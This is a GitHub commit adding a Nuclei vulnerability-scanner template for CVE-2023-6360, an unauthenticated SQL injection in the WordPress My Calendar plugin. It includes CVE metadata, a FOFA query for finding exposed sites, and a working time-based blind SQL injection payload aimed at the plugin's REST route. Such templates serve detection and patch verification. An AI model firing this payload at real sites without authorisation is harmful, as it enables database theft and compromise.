Merge pull request #9064 from xxcdd/CVE-2023-6360

Add CVE-2023-6360.yaml
patch-1
Ritik Chaddha 2024-02-05 16:31:02 +05:30 committed by GitHub
commit e696923eb7
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 52 additions and 0 deletions

View File

@ -0,0 +1,52 @@
id: CVE-2023-6360
info:
name: WordPress My Calendar <3.4.22 - SQL Injection
author: xxcdd
severity: high
description: |
WordPress My Calendar plugin versions before 3.4.22 are vulnerable to an unauthenticated SQL injection within the 'from' and 'to' parameters of the '/my-calendar/v1/events' REST route.
impact: |
Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, which could lead to data theft, database compromise, or further attack vectors.
remediation: Upgrade to My Calendar plugin version 3.4.22 or later.
reference:
- https://www.tenable.com/security/research/tra-2023-40
- https://www.joedolson.com/2023/11/my-calendar-3-4-22-security-release/
- https://wordpress.org/plugins/my-calendar/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6360
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-6360
cwe-id: CWE-89
cpe: cpe:2.3:a:joedolson:my_calendar:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
verified: true
fofa-query: '"wordpress" && body="wp-content/plugins/my-calendar"'
tags: cve,cve2023,sqli,wp,wordpress,wpscan,wp-plugin,my-calendar
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/my-calendar/readme.txt"
matchers:
- type: word
internal: true
words:
- 'My Calendar'
- method: GET
path:
- "{{BaseURL}}/?rest_route=/my-calendar/v1/events&from=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(2)))a)+AND+'a'%3d'a"
matchers:
- type: dsl
dsl:
- 'contains(header, "application/json")'
- 'contains(body, "[]")'
- 'duration >= 6'
condition: and